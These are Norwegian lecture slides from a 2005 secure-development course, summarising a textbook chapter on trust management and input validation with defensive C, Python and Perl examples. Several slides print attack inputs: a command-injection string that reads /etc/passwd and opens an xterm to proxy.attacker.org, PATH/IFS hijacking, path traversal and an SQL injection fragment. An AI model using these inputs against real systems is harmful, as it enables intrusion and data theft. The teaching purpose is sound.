

Tillitsforvaltning og inndatavalidering

“Building Secure Software”

Kap. 12:

“Trust Management and Input Validation”

Håkon Velde

hakonv@ii.uib.no

12. oktober 2005

INF329: Utvikling av sikre applikasjoner

Innledning

- Problemer innen programvaresikkerhet
 - Mennesker gjør ofte dårlige antagelser angående hvem og hva de kan stole på.
 - Utviklere er ofte ikke klar over når de tar avgjørelser angående tillit.
 - Fører til kode som tilsynelatende er korrekt, men ikke er det.
Eks.: Viktige hemmeligheter gjemt i binærfiler.
- Fornuftig sikkerhetspraksis
 - Som standard er alt usikkert/ikke til å stole på
 - Yt tillit kun når det er nødvendig

Oversikt

- Litt om tillit
- Eksempler på:
 - Sikkerhetssårbarheter som egentlig grunner i malplassert tillit.
 - Problemet med at programmerere ofte ikke klar over et potensielt problem.

Litt om tillit

- Et tillitsforhold er en relasjon som involverer flere instanser, der hver instans stoler på at de andre har eller ikke har diverse egenskaper.
- Programvareutviklere har tillitsforhold i løpet av hver fase i utviklingen.
- Mange bedrifter stoler på at de ansatte ikke vil angripe bedriftens informasjonssystem.
- Stoler også stort sett på programvare-utviklerne sine.

- Systemdesignere må takle tillitsspørsmål gjennom hele utviklingsprosessen til et program.
- Ofte gjør designere avgjørelser uten å innse at tillit faktisk er et spørsmål.
- Utviklere gjør noen ganger lignende avgjørelser, f.eks:
 - Antar at inndata til programmet har et spesielt format og/eller lengde.
- Viktig å se på tillit ikke bare i enkeltkomponenter, men også i systemet som en helhet.

- Det er lett å feilvurdere påliteligheten til en komponent. Klassisk eksempel:
 - Det er mulig å lage en kompilator som inneholder en Trojansk hest, der den Trojanske hesten ville eksistere og vedvare, selv om den ikke er synlig i kildekoden. Dette gjelder også om du kompilerer kompilatoren fra kildekoden.

Ken Thompson 1984
- Ikke trygt å anta at alle som utgir programvare har kun ærlige hensikter.
- Enhver form for tillit du gir til programvare du ikke har lagd selv utgjør et sprang av tro.

Eksempler på malplassert tillit

- Hvert av disse eksemplene har skjedd mange ganger i den virkelige verden.
- Mange av disse eksemplene er tilfeller av underforstått tillit.
- Første eksempel (fra tidlig 90-tall):
 - UNIX-system – bare ment å brukes til e-post og et par andre funksjoner.
 - TELNET – menysystem etter innlogging
 - Lese e-post:
 - Menysystem kalte et mye brukt UNIX e-postprogram
 - E-postprogrammet kalte igjen *vi*
 - *vi* kan kalle vilkårlige skall-kommandoer, og det var dermed lett å kople ut menysystemet.

- Eksempel forts.
 - Ingenting galt med menysystemet i seg selv, bortsett fra at det stolte på e-postprogrammet som igjen stolte på *vi*.
 - Hvert program som ble kalt, kjørte med samme rettigheter som brukeren.
- Før et program blir kalt må du bestemme deg for hva dette programmet skal ha tilgang til.
- Ingen rettigheter, kjør som bruker «nobody»
 - Har kildekode, gjør dette umiddelbart ved inngang:
 - Sett eier til «nobody»
 - Gjør programmet *setuid* og *setgid*
 - Ellers, kall et «*setuid wrapper*» program.

Beskyttelse mot fiendtlige kall

- Du må alltid være bekymret over inndata fra nettverket.
 - ➔ Hvis en angriper kan manipulere programmet ditt, kan han bruke dette for å få ikke-godkjent tilgang på maskinen din.
- Trenger ofte ikke tenke på dette med lokale brukere. Eks.:
 - ➔ En person utnytter et «buffer overflow» i et program vi har lagd, som ikke er *setuid/setgid*.
 - ➔ Ikke mulig å få ekstra rettigheter (programmet kjører som brukeren som utfører angrepet).

- Har flere ting å tenke på når vi skal beskytte mot mennesker som har maskin-nivå tilgang til å kjøre vårt setuid eller setgid program:
 - ➔ Tabellen med argumenter som blir sendt til programmet vårt.
 - ➔ «File descriptors»
 - ➔ «Core dumps»
 - Spesielt viktig å tenke på hvis programmet ditt noen gang inneholder sensitive data.
 - Eksempelkode (C/C++) for å forby dette på neste side.

```

1  #include <sys/time.h>
2  #include <sys/resource.h>
3  #include <unistd.h>
4
5  int
6  main(int argc, char **argv)
7  - {
8      |     struct rlimit  rlim;
9
10     |     getrlimit(RLIMIT_CORE, &rlim);
11     |     rlim.rlim_max = rlim.rlim_cur = 0;
12
13 -   |     if (setrlimit(RLIMIT_CORE, &rlim)) {
14     |         |     exit(-1);
15     |     }
16     |     ...
17
18     |         |     return 0;
19 }
20

```

- Kaller *getrlimit* for å få nåværende verdier.
- Forandrer disse verdiene.
- Kaller *setrlimit* for sette verdien.

- Inndata sendt via miljøvariabler kan skape ekle problemer.
 - ➔ Hvis en angriper kaller programmet ditt, trenger ikke disse verdien være fornuftige i det hele tatt.
- Gå alltid ut fra at enhver miljøvariabel du har bruk for kan være forandret på en ondsinnet måte.

- Hvis vi ikke bruker dem, kan vi kvitte oss med alle sammen:

```
1  extern char    **environ;
2
3  int
4  main(int argc, char **argv)
5  -{
6      .....    environ = 0;
7  }
8
```

- Men dette kan også skaffe oss problemer:
 - ➔ Fungerer ikke for programmer som kaller biblioteker som er avhengig av en miljøvariabel.
 - ➔ For *setuid*programmer kan en angriper få sine egne biblioteker lastet ved å kopiere de til /tmp/attack og sette LD_LIBRARY_PATH til /tmp/attack
- Må være på vakt for lignede problemer på Windows maskiner ved lasting av DLL-filer.

- Ethvert program eller bibliotek kan misbruke en miljøvariabel.
 - ➔ Hvis du ikke vet om biblioteket gjør skikkelige sjekker mot miljøvariablene, bør du enten:
 - Utføre disse sjekkene selv
 - Sette variabelen(e) til en kjent trygg verdi
 - Fjerne variabelen(e) helt
 - ➔ To variabler som ofte er brukt i angrep er PATH og IFS.
 - Viktig å ikke ha "." i PATH, spesielt i begynnelsen, siden en angriper kan plassere erstatningskommandoer der.
 - Passe på at IFS blir satt til " \t\n" for å sørge for at argumenter til kommandoer blir lest rett.

- Hvordan disse variablene kan settes varierer veldig fra språk til språk. Eksempler:

→ Python:

```
1 import os
2 os.environ = {'PATH': '/bin:/usr/bin', 'IFS': ' \t\n'}
```

→ C: Neste side...

```

1  extern char    **environ;
2
3  -static char    *default_environment[] = {
4      |         "PATH=/bin:/usr/bin",
5      |         "IFS= \t\n",
6      |         0
7  };
8
9  static void
10 clean_environment()
11 -{
12     |         int            i;
13     |         char            *b, *p;
14     |         i = -1;
15     |         while (environ[++i] != 0); /* Start at the back. */
16
17 -     |         while (i--) {
18     |             |         environ[i] = 0;
19     |         }
20
21 -     |         while (default_environment[i]) {
22     |             |         putenv(default_environment[i++]);
23     |         }
24 }
25
26 int
27 main(int argc, char **argv)
28 -{
29     |         clean_environment();
30 }
31

```

Trygg kalling av andre program

- Eksempel:

- ➔ Et *setuid* program kaller en funksjon:

```
system("ls");
```

Dette C-kallet kaller et skall og sender med programmets miljø.

- ➔ Hvis du tillater en angriper å sette PATH variabelen vilkårlig, kan kallet ovenfor angripes på denne måten:

- \$ export PATH="."
\$ cp evil_binary |
\$ export IFS="s"
- Kjører programmet

- ➔ Mulig løsning kunne vært:

```
system("IFS=' \n\t'; PATH='/usr/bin:/bin';export IFS PATH; ls");
```

- ➔ Vil ikke fungere. Angriper kan gjøre følgende:

- \$ export PATH="."
- \$ export IFS="IP \n\t"
- \$./your_program

- Annet eksempel:

- ➔ CGI-skript i Perl

- ➔ Ønsker å skrive ut innholdet av */var/stats/username*

- ➔ Bruker flerargumentversjonen av *system()* for å "cat"e filen:

```
system("cat", "/var/stats/$username");
```

- ➔ Ikke sikkert dette heller. Eks. Neste side

- ➔ Angriper kan sende inn dette som et brukernavn:
../../../../etc/passwd

- Enda et eksempel med CGI-skript:

```
1  #!/usr/local/bin/python
2  import          cgi, os
3
4  print "Content-type: text/html";
5  print
6  form = cgi.FieldStorage()
7  message = form["contents"].value
8  recipient = form["to"].value
9  tmpfile = open("/tmp/cgi-mail", "w")
10 tmpfile.write(message)
11 tmpfile.close()
12 os.system("/bin/mail " + recipient + " < /tmp/cgi-mail")
13 os.unlink("/tmp/cgi-mail")
14 print "<html><h3>Message sent.</h3></html>"
```

- Ser "uskyldig" ut, men kan utnytted pga kallet til *system()* ...

- ➔ Angriper kan sende inn denne strengen:
"attacker@hotmail.com < /etc/passwd;
export DISPLAY=proxy.attacker.org:0;
/usr/X11R6/bin/xterm& #"
- ➔ Vil på mange systemer gi angriperen en *xterm*
- Mulig løsning på forrige eksempel og lignende problemer, er å kun tillate et begrenset sett med tegn i inndata. Eks.:
 - ➔ Inndata skal være e-post adresse:
 - Sjekk at vært tegn er enten en bokstav, tall, ".", @ eller _
- Unngå bruk av `alt` som kaller et skall.
 - ➔ Bruk f.eks. `execve()` istedenfor `system()`

Problemer fra Internett

- Ikke anta at angripere ikke kan kopiere og endre en webside selv om den er statisk. Eks.
 - ➔ Noen utviklere vil ikke bekymre seg over det tidligere CGI-skriptet hvis blir kalt fra dette skjemaet:

```
1 <form action='http://www.list.org/viega-cgi/send-mail.py'  
2 -   method='post'>  
3 <h3>Edit Message:</h3 >  
4 - <textarea name='contents' cols=80 rows=10>  
5 </textarea> <br />  
6 <input type='hidden' name='to' value='viega@list.org'>  
7 <input type='submit' value='Submit'>  
8 </form>
```

- ➔ Problem: Siden kan kopieres til annen server og endres.
- ➔ Vanlig løsning: Sjekk den henvisende siden.
 - Dette kan også trikses med.

- Webutviklere liker også ofte å bruke JavaScript for å validere data i skjemaer:
 - ➔ Ikke god ide, siden JavaScript kan ignoreres.
- Mao.: Ikke bruk JavaScript som et sikkerhetstiltak.
- Cookies:
 - ➔ Ofte viktig informasjon lagret i disse.
 - ➔ Lett å endre/få tak i informasjon.
 - Litt verre hvis de er midlertidige.
 - ➔ Krypter data du ikke vil at folk skal se.

▪ Andre ting å passe på:

➔ I blogger, forum e.l.:

- Ikke tillatt `<script>` tags, eller annet som kan få vilkårlig og muligens farlig kode til å kjøre på klientmaskin.

➔ Encoded URL's:

- Bruker alternative kodesett
- Unngå dette ved å eksplisitt sette kodesettet på alle utgående dokumenter. Eks.:

```
<meta http-equiv="Content-type" content="text/html;  
charset="UTF-8" />
```

➔ Inndata som inneholder `%`. Dette er som regel spesiell hexadesimal koding for tegn.

- `%3C` er f.eks. `<`
- Kan brukes for sende kodet null (`%00`), nylinje (`%0A`), eller alt annet angriperen har lyst til.

- Hvis ønsker å skrive ut tekst, men ikke er sikker på om den er trygg:
 - ➔ Kod tegnene ved å bruke `&#` etterfulgt av tall som beskriver posisjonen i tegnsettet. Avslutt med `;`
 - ➔ `<` er `<` i ISO-8859-1.

Klientside sikkerhet

- Prøv unngå å lagre SQL-kode i klartekst i klientapplikasjonen.
 - ➔ Koden kan bli byttet ut av en lur angriper.
- Valider inndata som skal inn i en database.
 - ➔ Tillates tilfeldige tegn, pass å ha ' rundt "skumle" tegn for hindre "SQL-injection". Eks.
 - Sender inn et enkelt ' etterfulgt av ;DELETE FROM TABLE

Angrep ved formatering av streng

- Vanlig problem som har vært til stede i årevis, men ikke funnet før i 2000.
- Programmere gir noen ganger upålitelige bruker tilgang til manipulere strengformat i printfunksjoner (fprintf o.l). Eks.:
 - ➔ Burde ha skrevet: `fprintf(sock, "%s", username);`
 - ➔ Skriver i stedet: `fprintf(sock, username);`
 - ➔ Kan faktisk brukes til å skrive data til *stack*, ikke bare lese, eller krasje programmet.
- Mao. Ikke lurt å la upålitelig inndata kunne formatere en streng.

Automatisk se etter input-problemer

- Mulighet for dette i enkelte språk:
 - ➔ Perl har et spesiell sikkerhetsmodus, *taint mode*.
 - ➔ Når denne modusen er på vil Perl gi feilmeldinger når den finner kode som potensielt kan være farlig.
 - ➔ Mange kommander Perl anser som farlig i denne modusen.

Konklusjon

- Vær sparsom med å dele ut tillit.
- Anta ingenting.